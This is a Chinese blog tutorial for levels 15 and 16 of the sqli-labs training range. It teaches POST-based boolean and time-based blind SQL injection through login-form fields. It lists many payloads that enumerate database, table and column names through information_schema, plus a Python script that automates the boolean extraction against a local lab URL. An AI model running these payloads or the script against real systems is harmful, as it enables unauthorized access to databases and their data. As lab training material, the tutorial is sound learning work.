目录

sql靶场第1516关-post提交盲注保姆级教程

【sql靶场】第15、16关-post提交盲注保姆级教程


【sql靶场】第15、16关-post提交盲注保姆级教程

关卡讲解前回顾小知识,不看可以跳过,如果还不太会报错注入建议看

1.知识回顾

GET请求

数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)‌。

受URL长度限制(通常≤2048字符)‌。

POST请求

数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login )‌。

适合提交敏感信息(如密码)或大量数据(如文件上传)‌

提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在‌ 请求体(Body) ‌中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入

or与and

or在语句中为或的意思,只要满足一个就可以

and在语句中为与的意思,两个都要满足

2.第十五关

1.布尔盲注的手动注入

方法一

在页面的输入框直接进行注入,使用的注释符#,不能使用#

方法二

使用BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

https://i-blog.csdnimg.cn/img_convert/f1b3586dae81770cec20e28a4ab5ced0.png

在这里的注入注释符#与#都可以

打开重发器,复制到,发送,输入目标IP与端口,响应

https://i-blog.csdnimg.cn/img_convert/a26a42ca6ae1809766f25d54e4ec1ac9.png

个人建议使用BurpSuite,因为可以清楚看见自己的注入,如果出现错误比较好检查,也比较好修改,而在页面的输入框直接注入,第一由于输入框的大小限制,很影响注入语句的输入与观看,第二输入提交后注入语句会变成空,如果报错很难检查与修改错误

如果没有BurpSuite,可以观看

1.判断

布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入

在这里注入要注意一个点,如果不知道用户名就使用or进行连接,这样只要后面的判断语句正确就会返回成功的页面;如果要使用and,就需要前面的用户名与后面的判断语句一起为真才可以

可以通过下面语句判断

1' or '1'='1'#
1' or '1'='2'#

https://i-blog.csdnimg.cn/img_convert/cd1c2fdd2872e0729375fcf8ba76db5c.png

https://i-blog.csdnimg.cn/img_convert/e6adabdc0a56aaa48ab2a2f626b14bbc.png

2.数据库名长度

手动进行布尔盲注十分麻烦,首先先要注入出名字的长度

1' or (select length(database())>8) # 
1' or (select length(database())>6) #

https://i-blog.csdnimg.cn/img_convert/899f0e4b12238cdb333b1267133a4b23.png

https://i-blog.csdnimg.cn/img_convert/767037506230559443d0fdb21c2e808a.png

3.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

1' or ((select ascii(substr(database(),1,1)))>80) # 
1' or ((select ascii(substr(database(),1,1)))>104) # 
1' or ((select ascii(substr(database(),1,1)))>116) # 
1' or ((select ascii(substr(database(),1,1)))>110) # 
1' or ((select ascii(substr(database(),1,1)))>113) #
1' or ((select ascii(substr(database(),1,1)))>114) #

https://i-blog.csdnimg.cn/img_convert/28c5860e4c9556192c8455226fd999fa.png

https://i-blog.csdnimg.cn/img_convert/a703875d522945ff9c5147aa4db638f6.png

https://i-blog.csdnimg.cn/img_convert/9add8f7ef25cd2965988d23fa36f9d9a.png

https://i-blog.csdnimg.cn/img_convert/c038f9ce2452b2ca1ef1c88f2ee706f9.png

最后确定是ASCLL是115,对照ASCLL是字符s

剩下的也这样一个一个慢慢的注入出来

4.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

1' or (select count(*) from information_schema.tables where table_schema=database()) > 3#
1' or (select count(*) from information_schema.tables where table_schema=database()) > 5#

https://i-blog.csdnimg.cn/img_convert/eb0654f8cdc6ae13d7455ca60f6a66e5.png

https://i-blog.csdnimg.cn/img_convert/dacda61d9edb4cc37f399ff457be2f0f.png

表名数为4

5.表名长度
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 # 
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 # 

https://i-blog.csdnimg.cn/img_convert/f0733e7cc357f1f3ad1b36c788f5bb86.png

https://i-blog.csdnimg.cn/img_convert/07be34f731bce57add81fb33e1a1e59d.png

结果是第一个表的名字长度为7

6.表名符
1' or (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) # 

https://i-blog.csdnimg.cn/img_convert/b47e85bc6630736e12b74e477cd2cd15.png

7.字段数
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 # 
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>3 #

https://i-blog.csdnimg.cn/img_convert/3e4137da56a565c882f52ba83c31d9ec.png

https://i-blog.csdnimg.cn/img_convert/16089c7ecf408b5a38e2f2020ba6fb2f.png

结果是3个字段数

8.字段长度
1' or (select length(column_name) from information_schema.columns where table_schema= 'security' or table_name='users' limit 1,1)>6 # 

https://i-blog.csdnimg.cn/img_convert/99830615cf4f58f7dcb4fffdf723be31.png

9.字段符
1' or (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' or table_name='users' limit 0,1),1,1))>32) # 

https://i-blog.csdnimg.cn/img_convert/443b5ef4b9a77c911d5cc906edec788d.png

2.布尔盲注的脚本注入
import requests
​
​
def inject_database(url):
    name = ''
    # 初始化空字符串,存储最终数据库名
    for i in range(1, 100):
        # 遍历字符位置(假设数据库名最长99字符)
        low = 32
        # ASCII可打印字符起始值(空格)
        high = 128
        # ASCII结束值(DEL字符,实际只用到127)
        mid = (low + high) // 2
        # 二分法初始中间值
        while low < high:
            # 二分查找当前字符的ASCII值
           data = {
                "uname" : "1' or ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            # 当前字符ASCII值 > mid,调整下限
            else:
                high = mid
            mid = (low + high) // 2
​
            if mid == 32:
            # 若mid为32(空格),终止循环
                break
        name = name + chr(mid)
        # 将ASCII转为字符并拼接
        print(name)
        # 实时输出当前结果
​
​
if __name__ == "__main__":
    url = "http://127.0.0.1:8080/sqli-labs-master/Less-8/index.php"
    # 网站地址,千万千万注意网址一定要是自己搭建的sql网址,不能用我的,否则无法使用
    inject_database(url)
    # 包含网站

https://i-blog.csdnimg.cn/img_convert/489ae6d0e95cacd3599d1590686bef14.png

3.时间注入的手动注入
1.判断

当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化

2.确认时间盲注

使用的语法有:IF(condition, value_if_true, value_if_false)

测试是否存在时间盲注即闭合方式

这里我尝试过使用or的连接,但是不行,于是我使用了and连接方式

admin' AND IF(1=1, SLEEP(5), 0) #

https://i-blog.csdnimg.cn/img_convert/f004e87be85bd1414f8f3d14c89cb8cc.png

3.数据库名长度
admin' and if(length(database())>8,sleep(5),1)# 
admin' and if(length(database())>6,sleep(5),1)#  

https://i-blog.csdnimg.cn/img_convert/fd1ebfba212f05ee33b0d98c84dcbcce.png

https://i-blog.csdnimg.cn/img_convert/3eb04b6ce9e566b2d7cc3be46b5299d8.png

4.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

admin'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>110,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>114,sleep(5),1)# 

https://i-blog.csdnimg.cn/img_convert/944d5e2d794613137af1aeda3802175a.png

https://i-blog.csdnimg.cn/img_convert/346d4d96563ef4e2ebc9a026f3e24207.png

https://i-blog.csdnimg.cn/img_convert/334f14e3b90b67ac4a7407ef142db2e4.png

5.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

admin'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)# 
admin'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)# 

https://i-blog.csdnimg.cn/img_convert/e97a1753a34f0c7cc23e1c951b9d3733.png

https://i-blog.csdnimg.cn/img_convert/3d883debf2e0451d36113c890b5fb9de.png

表名数为4

6.表名长度
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)# 
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)# 

https://i-blog.csdnimg.cn/img_convert/417623fb19cb8cc830b4719b5df3c252.png

https://i-blog.csdnimg.cn/img_convert/2e9cf9d06305c39ac99f30e2faadc656.png

结果是第一个表的名字长度为7

7.表名符
admin'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)# 

https://i-blog.csdnimg.cn/img_convert/4275f18923dff7b4efe8e1d2488a74e2.png

8.字段数
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)# 
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)# 

https://i-blog.csdnimg.cn/img_convert/7c2243519b0cf4b50f46bb6ce7b66add.png

https://i-blog.csdnimg.cn/img_convert/64887c15ec8117674d62a203106a4812.png

结果是3个字段数

9.字段长度
admin'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)# 

https://i-blog.csdnimg.cn/img_convert/06cf6dcb1ba6c31e8cbc58aed7c6e7e2.png

10.字段符
admin'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)# 

https://i-blog.csdnimg.cn/img_convert/082b4f1015a5217c1ad95266d21c1bdd.png

4.时间注入的脚本注入

3.第十六关

这一关的闭合方式为") 剩下的基本与第十五关一样